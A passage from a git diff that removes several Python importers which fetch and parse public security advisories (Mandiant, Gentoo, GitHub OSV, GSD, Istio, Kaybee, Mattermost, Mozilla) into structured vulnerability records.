"CC-BY-SA-4.0 AND MIT" - license_url = "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/README.md" - notice = """ - Copyright (c) Mandiant - The following licenses/licensing apply to this Mandiant repository: - 1. CC BY-SA 4.0 - For CVE related information not including source code (such as PoCs) - 2. MIT - For source code contained within provided CVE information - """ - repo_url = "git+https://github.com/mandiant/Vulnerability-Disclosures" - importer_name = "FireEye Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - try: - self.vcs_response = self.clone(repo_url=self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - files = filter( - lambda p: p.suffix in [".md", ".MD"], Path(self.vcs_response.dest_dir).glob("**/*") - ) - for file in files: - if Path(file).stem == "README": - continue - try: - with open(file, encoding="utf-8-sig") as f: - yield parse_advisory_data(raw_data=f.read(), file=file, base_path=base_path) - except UnicodeError: - logger.error(f"Invalid file {file}") - finally: - if self.vcs_response: - self.vcs_response.delete() - - -def parse_advisory_data(raw_data, file, base_path) -> AdvisoryData: - """ - Parse a fireeye advisory repo and return an AdvisoryData or None. - These files are in Markdown format. - """ - relative_path = str(file.relative_to(base_path)).strip("/") - advisory_url = ( - f"https://github.com/mandiant/Vulnerability-Disclosures/blob/master/{relative_path}" - ) - raw_data = raw_data.replace("\n\n", "\n") - md_list = raw_data.split("\n") - md_dict = md_list_to_dict(md_list) - - database_id = md_list[0][1::] - summary = md_dict.get(database_id[1::]) or [] - description = md_dict.get("## Description") or [] - impact = md_dict.get("## Impact") # not used but can be used to get severity - exploit_ability = md_dict.get("## Exploitability") # not used - cve_ref = md_dict.get("## CVE Reference") or [] - tech_details = md_dict.get("## Technical Details") # not used - resolution = md_dict.get("## Resolution") # not used - disc_credits = md_dict.get("## Discovery Credits") # not used - disc_timeline = md_dict.get("## Disclosure Timeline") # not used - references = md_dict.get("## References") or [] - cwe_data = md_dict.get("## Common Weakness Enumeration") or [] - - return AdvisoryData( - aliases=get_aliases(database_id, cve_ref), - summary=build_description(" ".join(summary), " ".join(description)), - references=get_references(references), - weaknesses=get_weaknesses(cwe_data), - url=advisory_url, - ) - - -def get_references(references): - """ - Return a list of Reference from a list of URL reference in md format - >>> get_references(["- http://1-4a.com/cgi-bin/alienform/af.cgi"]) - [Reference(reference_id='', reference_type='', url='http://1-4a.com/cgi-bin/alienform/af.cgi', severities=[])] - >>> get_references(["- [Mitre CVE-2021-42712](https://www.cve.org/CVERecord?id=CVE-2021-42712)"]) - [Reference(reference_id='', reference_type='', url='https://www.cve.org/CVERecord?id=CVE-2021-42712', severities=[])] - """ - urls = [] - for ref in references: - if ref.startswith("- "): - urls.append(matcher_url(ref[2::])) - else: - urls.append(matcher_url(ref)) - - return [Reference(url=url) for url in urls if url] - - -def matcher_url(ref) -> str: - """ - Returns URL of the reference markup from reference url in Markdown format - """ - markup_regex = r"\[([^\[]+)]\(\s*(http[s]?://.+)\s*\)" - matched_markup = re.findall(markup_regex, ref) - if matched_markup: - return matched_markup[0][1] - else: - return ref - - -def get_aliases(database_id, cve_ref) -> List: - """ - Returns a List of Aliases from a database_id and a list of CVEs - >>> get_aliases("MNDT-2021-0012",["CVE-2021-44207"]) - ['CVE-2021-44207', 'MNDT-2021-0012'] - """ - cve_ref.append(database_id) - return dedupe(cve_ref) - - -def md_list_to_dict(md_list): - """ - Returns a dictionary of md_list from a list of a md file splited by \n - >>> md_list_to_dict(["# Header","hello" , "hello again" ,"# Header2"]) - {'# Header': ['hello', 'hello again'], '# Header2': []} - """ - md_dict = {} - md_key = "" - for md_line in md_list: - if md_line.startswith("#"): - md_dict[md_line] = [] - md_key = md_line - else: - md_dict[md_key].append(md_line) - return md_dict - - -def get_weaknesses(cwe_data): - """ - Return the list of CWE IDs as integers from a list of weakness summaries, e.g., [379]. - - >>> get_weaknesses([ - ... "CWE-379: Creation of Temporary File in Directory with Insecure Permissions", - ... "CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')" - ... ]) - [379, 362] - """ - cwe_list = [] - for line in cwe_data: - cwe_ids = re.findall(cwe_regex, line) - cwe_list.extend(cwe_ids) - - weaknesses = create_weaknesses_list(cwe_list) - return weaknesses diff --git a/vulnerabilities/importers/gentoo.py b/vulnerabilities/importers/gentoo.py deleted file mode 100644 index f636fbd3f..000000000 --- a/vulnerabilities/importers/gentoo.py +++ /dev/null @@ -1,166 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import logging -import re -import xml.etree.ElementTree as ET -from pathlib import Path -from typing import Iterable - -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import EbuildVersionRange -from univers.versions import GentooVersion -from univers.versions import InvalidVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference - -logger = logging.getLogger(__name__) - - -class GentooImporter(Importer): - repo_url = "git+https://anongit.gentoo.org/git/data/glsa.git" - spdx_license_expression = "CC-BY-SA-4.0" - # the license notice is at this url https://anongit.gentoo.org/ says: - # The contents of this document, unless otherwise expressly stated, are licensed - # under the [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/) license. - license_url = "https://creativecommons.org/licenses/by-sa/4.0/" - importer_name = "Gentoo Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - try: - self.clone(repo_url=self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - for file_path in base_path.glob("**/*.xml"): - yield from self.process_file(file_path) - finally: - if self.vcs_response: - self.vcs_response.delete() - - def process_file(self, file): - cves = [] - summary = "" - vuln_references = [] - xml_root = ET.parse(file).getroot() - id = xml_root.attrib.get("id") - if id: - glsa = "GLSA-" + id - vuln_references = [ - Reference( - reference_id=glsa, - url=f"https://security.gentoo.org/glsa/{id}", - ) - ] - - for child in xml_root: - if child.tag == "references": - cves = self.cves_from_reference(child) - - if child.tag == "synopsis": - summary = child.text - - if child.tag == "affected": - affected_packages = list(self.affected_and_safe_purls(child)) - - # It is very inefficient, to create new Advisory for each CVE - # this way, but there seems no alternative. - for cve in cves: - yield AdvisoryData( - aliases=[cve], - summary=summary, - references=vuln_references, - affected_packages=affected_packages, - url=( - f"https://security.gentoo.org/glsa/{id}" - if id - else "https://security.gentoo.org/glsa" - ), - ) - - @staticmethod - def cves_from_reference(reference): - cves = [] - for child in reference: - txt = child.text.strip() - match = re.match(r"CVE-\d{4}-\d{4,}", txt) - if match: - cves.append(match.group()) - - return cves - - @staticmethod - def affected_and_safe_purls(affected_elem): - constraints = [] - for pkg in affected_elem: - name = pkg.attrib.get("name") - if not name: - continue - pkg_ns, _, pkg_name = name.rpartition("/") - purl = PackageURL(type="ebuild", name=pkg_name, namespace=pkg_ns) - safe_versions, affected_versions = GentooImporter.get_safe_and_affected_versions(pkg) - - for version in safe_versions: - try: - constraints.append( - VersionConstraint(version=GentooVersion(version), comparator="=").invert() - ) - except InvalidVersion as e: - logger.error(f"Invalid safe_version {version} - error: {e}") - - for version in affected_versions: - try: - constraints.append( - VersionConstraint(version=GentooVersion(version), comparator="=") - ) - except InvalidVersion as e: - logger.error(f"Invalid affected_version {version} - error: {e}") - - if not constraints: - continue - - yield AffectedPackage( - package=purl, affected_version_range=EbuildVersionRange(constraints=constraints) - ) - - @staticmethod - def get_safe_and_affected_versions(pkg): - # TODO : Revisit why we are skipping some versions in gentoo importer - skip_versions = {"1.3*", "7.3*", "7.4*"} - safe_versions = set() - affected_versions = set() - for info in pkg: - if info.text in skip_versions: - continue - - if info.attrib.get("range"): - if len(info.attrib.get("range")) > 2: - continue - - if info.tag == "unaffected": - # quick hack, to know whether this - # version lies in this range, 'e' stands for - # equal, which is paired with 'greater' or 'less'. - # All possible values of info.attrib['range'] = - # {'gt', 'lt', 'rle', 'rge', 'rgt', 'le', 'ge', 'eq'}, out of - # which ('rle', 'rge', 'rgt') are ignored, because they compare - # 'release' not the 'version'. - if "e" in info.attrib["range"]: - safe_versions.add(info.text) - else: - affected_versions.add(info.text) - - elif info.tag == "vulnerable": - if "e" in info.attrib["range"]: - affected_versions.add(info.text) - else: - safe_versions.add(info.text) - - return safe_versions, affected_versions diff --git a/vulnerabilities/importers/github_osv.py b/vulnerabilities/importers/github_osv.py deleted file mode 100644 index f0490044e..000000000 --- a/vulnerabilities/importers/github_osv.py +++ /dev/null @@ -1,56 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import json -import logging -from pathlib import Path -from typing import Iterable - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importers.osv import parse_advisory_data -from vulnerabilities.utils import get_advisory_url - -logger = logging.getLogger(__name__) - - -class GithubOSVImporter(Importer): - license_url = "https://github.com/github/advisory-database/blob/main/LICENSE.md" - spdx_license_expression = "CC-BY-4.0" - repo_url = "git+https://github.com/github/advisory-database/" - importer_name = "GithubOSV Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - supported_ecosystems = [ - "pypi", - "npm", - "maven", - "golang", - "composer", - "hex", - "gem", - "nuget", - "cargo", - ] - try: - self.clone(repo_url=self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - # filter out non-github-reviewed files and only keep the files end-with .json - advisory_dirs = base_path / "advisories/github-reviewed" - for file in advisory_dirs.glob("**/*.json"): - advisory_url = get_advisory_url( - file=file, - base_path=base_path, - url="https://github.com/github/advisory-database/blob/main/", - ) - with open(file) as f: - raw_data = json.load(f) - yield parse_advisory_data(raw_data, supported_ecosystems, advisory_url) - finally: - if self.vcs_response: - self.vcs_response.delete() diff --git a/vulnerabilities/importers/gsd.py b/vulnerabilities/importers/gsd.py deleted file mode 100644 index 4d69bd63a..000000000 --- a/vulnerabilities/importers/gsd.py +++ /dev/null @@ -1,222 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import json -import logging -from io import BytesIO -from typing import Iterable -from typing import List -from typing import Set -from zipfile import ZipFile - -import dateparser -import requests - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import build_description -from vulnerabilities.utils import dedupe - -logger = logging.getLogger(__name__) - - -class GSDImporter: # TODO inherit from Importer - spdx_license_expression = "CC0-1.0" - license_url = "https://github.com/cloudsecurityalliance/gsd-database/blob/main/LICENSE" - url = "https://codeload.github.com/cloudsecurityalliance/gsd-database/zip/refs/heads/main" - - def advisory_data(self) -> Iterable[AdvisoryData]: - response = requests.get(self.url).content - with ZipFile(BytesIO(response)) as zip_file: - for file_name in zip_file.namelist(): - if file_name == "gsd-database-main/allowlist.json" or not file_name.endswith( - ".json" - ): - continue - - with zip_file.open(file_name) as f: - try: - raw_data = json.load(f) - yield parse_advisory_data(raw_data, file_name) - except Exception as e: - logger.error(f"Invalid GSD advisory data file: {file_name} - {e}") - - -def parse_advisory_data(raw_data, file_name): - """ - Parse a GSD advisory file and return an AdvisoryData. - Each advisory file contains the advisory information in JSON format. - """ - - namespaces = raw_data.get("namespaces") or {} - cve_org = namespaces.get("cve.org") or {} - nvd_nist_gov = namespaces.get("nvd.nist.gov") or {} - - gsd = raw_data.get("GSD") or {} - gsd_id = gsd.get("id") or file_name - gsd_alias = gsd.get("alias") or [] - gsd_description = gsd.get("description") or "" - - gsd_reference_data = gsd.get("") or [] - gsd_references = [Reference(url=ref) for ref in gsd_reference_data] - - details = gsd_description or "".join(get_description(cve_org)) - - aliases_cve_org = get_aliases(cve_org) - aliases_nvd_nist_gov = get_aliases(nvd_nist_gov) - - aliases = [gsd_alias, gsd_id] + aliases_cve_org + aliases_nvd_nist_gov - aliases = [alias for alias in aliases if alias is not None] - - summary = build_description(summary=get_summary(cve_org), description=details) - - severities = get_severities(cve_org) - configurations = nvd_nist_gov.get("configurations") or {} - nodes = configurations.get("nodes") or [] - cpes = get_cpe(nodes) - - references = get_references(cve_org) + gsd_references - - date_published = get_published_date_nvd_nist_gov(nvd_nist_gov) - - return AdvisoryData( - aliases=dedupe(aliases), - summary=summary, - references=references, - date_published=date_published, - ) - - -def get_summary(cve) -> str: - """ - Returns a title of CVE_data_meta - >> get_summary {"CVE_data_meta": {"TITLE": "DoS vulnerability: Invalid Accent Colors"} - 'DoS vulnerability: Invalid Accent Colors' - """ - cve_data_meta = cve.get("CVE_data_meta") or {} - return cve_data_meta.get("TITLE") or "" - - -def get_severities(cve) -> List: - """ - Return a list of CVSS vectorString - >>> get_severities({"impact": {"cvss": {"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"}}}) - ['CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H'] - """ - severities = [] - impact = cve.get("impact") or {} - - base_metric_2 = impact.get("baseMetricV2") or {} - if base_metric_2: - cvss_v2 = base_metric_2.get("cvssV2") or {} - cvss_vector = cvss_v2.get("vectorString") - if cvss_vector: - severities.append(cvss_vector) - - base_metric_v3 = impact.get("baseMetricV3") or {} - if base_metric_v3: - cvss_v3 = base_metric_v3.get("cvssV3") or {} - cvss_vector = cvss_v3.get("vectorString") - if cvss_vector: - severities.append(cvss_vector) - - cvss = impact.get("cvss") or {} - if isinstance(cvss, List): - for cvss_v in cvss: - if isinstance(cvss_v, dict): - cvss_vector = cvss_v.get("vectorString") or {} - if cvss_vector: - severities.append(cvss_vector) - else: - cvss_vector = cvss.get("vectorString") - if cvss_vector: - severities.append(cvss_vector) - return severities - - -def get_description(cve) -> [str]: - """ - Get a list description value from description object - >>> get_description({"description": {"description_data": [{"lang": "eng","value": "the description"}]}}) - ['the description'] - """ - description = cve.get("description") or {} - description_data = description.get("description_data") or [] - return [desc["value"] for desc in description_data if desc["value"] and desc["lang"] == "eng"] - - -def get_references(cve): - """ - Returns a list of Reference assigned with url - >>> get_references({"references": { - ... "reference_data": [{ - ... "name": "https://kc.mcafee.com/corporate/index?page=content&id=SB10198", - ... "refsource": "CONFIRM", - ... "tags": ["Vendor Advisory"], - ... "url": "https://kc.mcafee.com/corporate/index?page=content&id=SB10198"}]}}) - [Reference(reference_id='', reference_type='', url='https://kc.mcafee.com/corporate/index?page=content&id=SB10198', severities=[])] - """ - references = cve.get("references") or {} - reference_data = references.get("reference_data") or [] - return [Reference(url=ref["url"]) for ref in reference_data if ref["url"]] - - -def get_aliases(cve) -> [str]: - """ - Returns a list of aliases - >>> get_aliases({"CVE_data_meta": {"ID": "CVE-2017-4017"},"source": {"advisory": "GHSA-v8x6-59g4-5g3w"}}) - ['CVE-2017-4017', 'GHSA-v8x6-59g4-5g3w'] - """ - cve_data_meta = cve.get("CVE_data_meta") or {} - alias = cve_data_meta.get("ID") - - source = cve.get("source") or {} - advisory = source.get("advisory") - - aliases = [] - if alias: - aliases.append(alias) - if advisory: - aliases.append(advisory) - return aliases - - -def get_published_date_nvd_nist_gov(nvd_nist_gov): - """ - Returns a published datetime - >>> get_published_date_nvd_nist_gov({"publishedDate": "2022-06-23T07:15Z"}) - datetime.datetime(2022, 6, 23, 7, 15, tzinfo=) - """ - published_date = nvd_nist_gov.get("publishedDate") - return published_date and dateparser.parse(published_date) - - -def get_cpe(nodes) -> List: - """ - >>> get_cpe([{"children": [], "cpe_match": [{ - ... "cpe23Uri": "cpe:2.3:a:mutt:mutt:*:*:*:*:*:*:*:*", - ... "cpe_name": [], - ... "versionEndIncluding": "1.2.5.1", - ... "vulnerable": True - ... },{ - ... "cpe23Uri": "cpe:2.3:a:mutt:mutt:*:*:*:*:*:*:*:*", - ... "cpe_name": [], - ... "versionEndIncluding": "1.3.25", - ... "vulnerable": True - ... }],"operator": "OR"}]) - ['cpe:2.3:a:mutt:mutt:*:*:*:*:*:*:*:*', 'cpe:2.3:a:mutt:mutt:*:*:*:*:*:*:*:*'] - """ - cpe_list = [] - for node in nodes: - cpe_match = node.get("cpe_match") or [] - for cpe23Uri in cpe_match: - cpe_uri = cpe23Uri.get("cpe23Uri") - if cpe_uri: - cpe_list.append(cpe_uri) - return cpe_list diff --git a/vulnerabilities/importers/istio.py b/vulnerabilities/importers/istio.py deleted file mode 100644 index 8f9f6334a..000000000 --- a/vulnerabilities/importers/istio.py +++ /dev/null @@ -1,156 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import logging -import re -from datetime import datetime -from pathlib import Path -from typing import Iterable -from typing import List -from typing import Mapping -from typing import Optional -from typing import Set - -import pytz -import saneyaml -from dateutil import parser -from django.db.models.query import QuerySet -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import GitHubVersionRange -from univers.version_range import GolangVersionRange -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import get_advisory_url -from vulnerabilities.utils import split_markdown_front_matter - -is_release = re.compile(r"^[\d.]+$", re.IGNORECASE).match - -logger = logging.getLogger(__name__) - - -class IstioImporter(Importer): - spdx_license_expression = "Apache-2.0" - license_url = "https://github.com/istio/istio.io/blob/master/LICENSE" - repo_url = "git+https://github.com/istio/istio.io/" - importer_name = "Istio Importer" - - def advisory_data(self) -> Set[AdvisoryData]: - try: - self.clone(repo_url=self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - vuln = base_path / "content/en/news/security/" - for file in vuln.glob("**/*.md"): - # Istio website has files with name starting with underscore, these contain metadata - # required for rendering the website. We're not interested in these. - # See also https://github.com/nexB/vulnerablecode/issues/563 - file = str(file) - if file.endswith("_index.md"): - continue - yield from self.process_file(file=file, base_path=base_path) - finally: - if self.vcs_response: - self.vcs_response.delete() - - def process_file(self, file, base_path): - advisory_url = get_advisory_url( - file, base_path, url="https://github.com/istio/istio.io/blob/master/" - ) - data = self.get_data_from_md(file) - published_date = data.get("publishdate") - release_date = None - if published_date: - release_date = parser.parse(published_date).replace(tzinfo=pytz.UTC) - - constraints = [] - - for release in data.get("releases") or []: - # If it is of form "All releases prior to x" - if "All releases prior" in release: - _, _, release = release.strip().rpartition(" ") - constraints.append( - VersionConstraint(version=SemverVersion(release), comparator="<") - ) - - # Eg. 'All releases 1.5 and later' - elif "All releases" in release and "and later" in release: - # remove All releases from string - release = release.replace("All releases", "").strip() - # remove and later from string - release = release.replace("and later", "").strip() - if not is_release(release): - continue - constraints.append( - VersionConstraint(version=SemverVersion(release), comparator=">=") - ) - - # Eg. 1.5 to 2.0 - elif "to" in release: - lower, _, upper = release.strip().partition("to") - constraints.append(VersionConstraint(version=SemverVersion(lower), comparator=">=")) - constraints.append(VersionConstraint(version=SemverVersion(upper), comparator="<=")) - - # If it is a single release - elif is_release(release): - constraints.append( - VersionConstraint(version=SemverVersion(release), comparator="=") - ) - - for cve_id in data.get("cves") or []: - - if not cve_id.startswith("CVE"): - continue - - affected_packages = [] - - if constraints: - affected_packages.append( - AffectedPackage( - package=PackageURL(type="golang", namespace="istio.io", name="istio"), - affected_version_range=GolangVersionRange(constraints=constraints), - ) - ) - - affected_packages.append( - AffectedPackage( - package=PackageURL(type="github", namespace="istio", name="istio"), - affected_version_range=GitHubVersionRange(constraints=constraints), - ) - ) - - title = data.get("title") or "" - references = [] - if title: - references.append( - Reference( - reference_id=title, - url=f"https://istio.io/latest/news/security/{title}/", - ) - ) - - summary = data.get("description") or "" - - yield AdvisoryData( - aliases=[cve_id], - summary=summary, - affected_packages=affected_packages, - references=references, - date_published=release_date, - url=advisory_url, - ) - - def get_data_from_md(self, path): - """Return a mapping of vulnerability data extracted from an advisory.""" - - with open(path) as f: - front_matter, _ = split_markdown_front_matter(f.read()) - return saneyaml.load(front_matter) diff --git a/vulnerabilities/importers/kaybee.py b/vulnerabilities/importers/kaybee.py deleted file mode 100644 index ccee4a68f..000000000 --- a/vulnerabilities/importers/kaybee.py +++ /dev/null @@ -1,62 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import load_yaml -from vulnerabilities.utils import nearest_patched_package - - -class KaybeeImporter(Importer): - def __enter__(self): - super(KaybeeImporter, self).__enter__() - self._added_files, self._updated_files = self.file_changes( - recursive=True, - file_ext="yaml", - ) - - def updated_advisories(self): - advisories = [] - for yaml_file in self._added_files.union(self._updated_files): - advisories.append(yaml_file_to_advisory(yaml_file)) - - return self.batch_advisories(advisories) - - -def yaml_file_to_advisory(yaml_path): - impacted_packages = [] - resolved_packages = [] - references = [] - - data = load_yaml(yaml_path) - vuln_id = data["vulnerability_id"] - summary = "" - if data.get("text"): - summary = "\n".join([note["text"] for note in data["notes"]]) - - for entry in data.get("artifacts", []): - package = PackageURL.from_string(entry["id"]) - if entry["affected"]: - impacted_packages.append(package) - else: - resolved_packages.append(package) - - for fix in data.get("fixes", []): - for commit in fix["commits"]: - references.append(Reference(url=f"{commit['repository']}/{commit['id']}")) - - return AdvisoryData( - vulnerability_id=vuln_id, - summary=summary, - affected_packages=nearest_patched_package(impacted_packages, resolved_packages), - references=references, - ) diff --git a/vulnerabilities/importers/mattermost.py b/vulnerabilities/importers/mattermost.py deleted file mode 100644 index a9581a813..000000000 --- a/vulnerabilities/importers/mattermost.py +++ /dev/null @@ -1,206 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import asyncio -import re -from typing import List -from typing import Tuple - -import requests -from bs4 import BeautifulSoup -from dephell_specifier import RangeSpecifier - -# from univers.version_range import VersionRange -from packageurl import PackageURL - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.package_managers import GitHubTagsAPI - -SECURITY_UPDATES_URL = "https://mattermost.com/security-updates" -MM_REPO = { - "Mattermost Mobile Apps": "mattermost/mattermost-mobile", - "Mattermost Server": "mattermost/mattermost-server", - "Mattermost Desktop App": "mattermost/desktop", -} - - -class MattermostDataSource(Importer): - def updated_advisories(self): - # FIXME: Change after this https://forum.mattermost.org/t/mattermost-website-returning-403-when-headers-contain-the-word-python/11412 - self.set_api() - data = requests.get( - SECURITY_UPDATES_URL, headers={"user-agent": "aboutcode/vulnerablecode"} - ).content - return self.batch_advisories(self.to_advisories(data)) - - def set_api(self): - self.version_api = GitHubTagsAPI() - asyncio.run( - self.version_api.load_api( - [ - MM_REPO["Mattermost Mobile Apps"], - MM_REPO["Mattermost Server"], - MM_REPO["Mattermost Desktop App"], - ] - ) - ) - - def to_advisories(self, data): - advisories = [] - soup = BeautifulSoup(data, features="lxml") - for row in soup.table.tbody.find_all("tr"): - ( - ref_col, - severity_col, - affected_col, - _, - fixed_col, - desc_col, - name_col, - ) = row.select("td") - - name = name_col.text.strip() - if name not in MM_REPO: - continue - - fixed_versions = split_versions(fixed_col.text) - fixed_packages = [ - PackageURL( - type="mattermost", - name=name, - version=version, - ) - for version in fixed_versions - ] - - ( - affected_version_ranges, - excluded_version_ranges, - ) = to_affected_version_ranges(affected_col.text, fixed_col.text) - - affected_packages = [ - PackageURL(type="mattermost", name=name, version=version) - for version in self.version_api.get(MM_REPO[name]) - if - # The versions comparisions and advisories are not compatible with cloud-* versions - not version.startswith("cloud-") - and any((version in version_range for version_range in affected_version_ranges)) - and not any((version in version_range for version_range in excluded_version_ranges)) - ] - - # Severities are either "na" or cvssv3.1_qr - references = [ - Reference( - reference_id=ref_col.text, - url=SECURITY_UPDATES_URL, - severities=( - [ - VulnerabilitySeverity( - system=severity_systems.CVSS31_QUALITY, value=severity_col.text - ) - ] - if severity_col.text.lower() != "na" - else [] - ), - ) - ] - - for cve_id in re.findall(r"cve-\d+-\d+", desc_col.text, re.IGNORECASE): - references.append( - Reference( - reference_id=cve_id, - url=f"https://cve.mitre.org/cgi-bin/cvename.cgi?name={cve_id}", - ) - ) - advisories.append( - AdvisoryData( - vulnerability_id="", - summary=desc_col.text, - references=references, - impacted_package_urls=affected_packages, - resolved_package_urls=fixed_packages, - ) - ) - return advisories - - -def split_versions(versions: str) -> List[str]: - """ - The versions can take the form: - - v1.2,2.2 and 3.2 -> [1.2,2.2,3.2] - - v1 and v2 -> [1,2] - - v1, v2 -> [1,2] - - <10 -> [<10] - - na -> [] - - all -> all (see `affected_version_ranges`) - Returns list of versions without leading 'v' - """ - versions = versions.lower().strip().replace("and", ",") - if versions == "na": - return [] - if versions == "all": - return ["all"] - - versions = [ - # some versions are like v2.4, remove v - version.strip().replace("v", "") - for version in versions.split(",") - if version.strip() - ] - return versions - - -def to_affected_version_ranges( - affected_col: str, fixed_col: str -) -> Tuple[List[RangeSpecifier], List[RangeSpecifier]]: - """ - affected_col could be of type "v5.20.x to v5.26.x, excluding v5.25.5 and v5.26.2" - fixed_col is only relevent in case affected_col is "all" - "all" means all the versions before the only present fixed. If there are many fixed versions, it doesn't return anything. - Needs to be improved after https://github.com/nexB/vulnerablecode/issues/119 - According to https://forum.mattermost.org/t/all-affected-versions-in-the-mattermost-advisory/11423, - - Returns affected version included_ranges, excluded_ranges - """ - fixed_versions = split_versions(fixed_col) - affected_col = affected_col.replace(".x", ".*") # For 5.20.x - included, *excluded = affected_col.split("excluding") - range_expressions = split_versions(included) - - if len(range_expressions) == 1: - # special cases - if range_expressions[0] == "na": - return [], [] - - if range_expressions[0] == "all": - if len(fixed_versions) > 1: - # it gets very complicated. see link above - return [], [RangeSpecifier()] - return [RangeSpecifier(f"<{fixed_versions[0]}")], [] - - included_ranges = [] - for range_expression in range_expressions: - if "to" in range_expression: - # eg range_expression == "3.2.0 to 3.2.1" - lower_bound, upper_bound = range_expression.split("to") - lower_bound = f">={lower_bound}" - upper_bound = f"<={upper_bound}" - included_ranges.append(RangeSpecifier(f"{lower_bound},{upper_bound}")) - else: - included_ranges.append(RangeSpecifier(range_expression)) - - excluded_ranges = [] - if len(excluded): - excluded_ranges = [RangeSpecifier(v) for v in split_versions(excluded[0])] - - return included_ranges, excluded_ranges diff --git a/vulnerabilities/importers/mozilla.py b/vulnerabilities/importers/mozilla.py deleted file mode 100644 index 8eea10370..000000000 --- a/vulnerabilities/importers/mozilla.py +++ /dev/null @@ -1,197 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -import re -from pathlib import Path -from typing import Iterable -from typing import List - -import yaml -from bs4 import BeautifulSoup -from markdown import markdown -from packageurl import PackageURL -from univers.versions import SemverVersion - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.utils import get_advisory_url -from vulnerabilities.utils import is_cve -from vulnerabilities.utils import split_markdown_front_matter - -MFSA_FILENAME_RE = re.compile(r"mfsa(\d{4}-\d{2,3})\.(md|yml)$") -logger = logging.getLogger(__name__) - - -class MozillaImporter(Importer): - spdx_license_expression = "MPL-2.0" - license_url = "https://github.com/mozilla/foundation-security-advisories/blob/master/LICENSE" - repo_url = "git+https://github.com/mozilla/foundation-security-advisories/" - importer_name = "Mozilla Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - try: - self.clone(self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - - vuln = base_path / "announce" - paths = list(vuln.glob("**/*.yml")) + list(vuln.glob("**/*.md")) - for file_path in paths: - yield from to_advisories(file_path, base_path) - finally: - if self.vcs_response: - self.vcs_response.delete() - - -def to_advisories(file_path: Path, base_path: Path) -> List[AdvisoryData]: - """ - Convert a file to corresponding advisories. - This calls proper method to handle yml/md files. - """ - advisory_url = get_advisory_url( - file=file_path, - base_path=base_path, - url="https://github.com/mozilla/foundation-security-advisories/blob/master/", - ) - file_path = str(file_path) - mfsa_id = mfsa_id_from_filename(file_path) - if not mfsa_id: - return [] - - with open(file_path) as lines: - if file_path.endswith(".md"): - yield from 